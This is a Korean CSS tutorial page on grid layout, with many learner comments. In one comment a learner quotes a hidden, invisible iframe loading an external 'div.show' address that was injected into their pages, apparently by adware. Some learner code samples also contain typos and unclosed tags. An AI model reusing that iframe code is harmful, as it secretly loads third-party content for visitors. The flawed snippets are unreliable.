WEB2 - CSS

그리드

그리드의 기본 사용법

강의

caniuse 홈페이지

 

소스코드

변경사항

 

 

 

그리드 써먹기

강의

 

 

소스코드

변경사항

Grid 기능의 호환성

https://caniuse.com/#feat=css-grid 

댓글

댓글 본문
작성자
비밀번호
  1. 나의칼나의피
    안녕하세요. WEB1부터 차근차근 따라오고 있는 초심자입니다.
    우분투, Atom 을 각각 사용해서 공부하고 있습니다.
    수업 예제를 작성 후, 웹브라우저에서 inspect를 해보면 항상 제가 입력하지 않은,
    <div>
    <iframe style="height:1px,width:1px;position:absolute;top:0;left:0;border:none;visibility:hidden" src="//div.show/options" id="buttonMenu"></iframe>
    </div>
    코드가 출력되며,
    border 속성을 통해 확인해보면 작성한 div element 들의 아래에 아무 내용이 없는 block level element가 하나 더 출력되어 있습니다.

    원인이 무엇인지 어떻게 해결할 수 있을지 궁금합니다.
  2. 박병섭
    완료 감솨요
  3. lovejun
    완료
  4. MINTO
    span과 div 아무의미도 없는 디자인을 위한tag다
    기본적으로 div 는block element 다
    span 은 inline element다.

    grid를 사용함으로써 왼쪽오른쪽을 구분해 줄 수 있고 아무리 많은 내용이 들어가도 딱맞게 화면이 구분된다.

    3월 18일 완료
  5. OneJae EE
    20.03.16 월 / 37세 비전공자 / 완료
  6. OneJae EE
    20.03.16 월 / 37세 비전공자 / 완료
  7. OneJae EE
    20.03.16 월 / 37세 비전공자 / 완료
  8. 강명규
    20200315 완료
  9. 송우영
    완료!1
  10. 0cddo
    완료! 감사합니다!
  11. 크랭커
    body{
    margin:0;
    }
    a {
    color:black;
    text-decoration: none;
    }
    h1{
    font-size:60px;
    text-align: center;
    border-bottom:1px solid gray;
    margin:0;
    padding:20px;
    }
    ol{
    border-right:1px solid gray;
    width:100px;
    margin:0;
    padding:20px;
    }

    </style>
    </head>
    <body>
    <h1><a href="index.html">3월 9일.</a></h1>
    <div id="grid"
    <ol>
    <li><a href="1.html">나의 상처</a></li>
    <li><a href="2.html">남긴 상처</a></li>
    <li><a href="3.html">돌아가고 싶다.</a></li>
    </ol>
  12. 그리드는 인터넷 익스플로러에서 작동하지 않습니다. 참고하세요.
  13. knh709@naver.com
    해결하셨나요? ㅠㅠ 제가 딱 그 상황입니다..
    너무 답답해요,,,,
    대화보기
    • knh709@naver.com
      해결하셨나요? ㅠㅠ 제가 딱 그 상황입니다..
      너무 답답해요,,,,
      대화보기
      • 리리루루
        저도요 ㅋㅋㅋㅋ html 배우면서 너무 재밌어서 아 내가 본투비문과생인줄 알았더니 이러다 개발자 되는거 아닌가 했었는데 ㅋㅋㅋㅋㅋㅋ css로 넘어오면서 지금 약간 멘붕이에요 ㅠㅠ 그치만 같이 파이팅입니당 ^^
        대화보기
        • Horang
          solid에 오타가났네요
          대화보기
          • ㅊㅇㅈ
            전 노트북에서 작업했는데 똑같은 오류나네요 ㅜㅜ 해결방법 찾으셨나요?
            대화보기
            • 짱아찌
              완료
            • radio2016
              2일 만에 완료!
            • #grid ol {}: 모든 <ol>중에 부모가 #grid인 <ol>
              <div>, <span>: 아무런 의미 없이 단지 디자인의 용도로만 쓰이는 태그
              fr: 화면 전체를 쓰도록 자동으로 조정되는 단위
            • 코딩하쟈
              완료
            • 동구
              완료
            • eddylee123456
              완료
            • 완료
            • opencoder
              완료! 감사합니다 ㅎㅎ
            • 규몽
              완료
            • 뉴빈
              감사합니다.
            • 감사합니다. 완료
            • 감사합니다.!!
            • 장 폴
              완료
            • thsths
              완료
            • id="article" 인 div 태그 안에 있는 본문에 ol 태그를 추가했을 떄 그 ol 태그도 css 의 #grid ol 에 영향을 받나요?
            • 통계가 이렇게 유용하게 쓰일 수 있다니..!
            • narrpro@naver.com
              아래 매매님 처럼 전 동영상에서는 이렇게 잡았는데
              <div id=grid>
              <div>그리드1</div>
              <div>그리드2</div>
              </div>

              마지막 동영상에서는
              <div id=grid>그리드1</div>
              <div>그리드2</div>
              이렇게 구현했네요..^^
            • dofvmrhwk
              완료
            • 스티븐잡숴
              완료
            • 메메
              <head>
              #grid{
              display:grid;
              grid-template-colums:150px 1fr;
              }

              <body>
              <div id=grid>
              <div>그리드1</div>
              <div>그리드2</div>
              </div>

              그리드를 사용할 부분에 여러 태그가 있을 경우 div나 다른 부모 태그로 묶어주기

              #grid ol {}: 모든 <ol>중에 부모가 #grid인 <ol>
              <div>, <span>: 아무런 의미 없이 단지 디자인의 용도로만 쓰이는 태그(block, inline의 차이)
              fr: 화면 전체를 쓰도록 자동으로 조정되는 단위
            • 굿@!
            • 춤추는선인장
              완료!
            • 오오우우얍
              다음!
            • 서혜민
              완료!
            • 최수빈
              좋은 강의 감사합니다!
            • 샬롬
              완료
            • csrcomp21
              완료!!
            • 야금야금
              ㅎㅎ
            • 누눈
              그리드를 사용할때 id 말고 class로도 사용가능한 것 같은데 왜 id로 쓰셨는지 궁굼해요!!
            • 민스티티아
              완료!
            • Eileen
              2019.12.29
            • 초보초보
              ol 선택자와 #grid ol 선택자를 나눠서 작성한 것이 의미있는 부분인가요? 제 생각에는 ol선택자 아래에 padding-left속성을 주고 #grid ol로 전체로 묶는게 나은 것 같아서요.
            버전 관리
            egoing
            현재 버전
            선택 버전
            graphittie 자세히 보기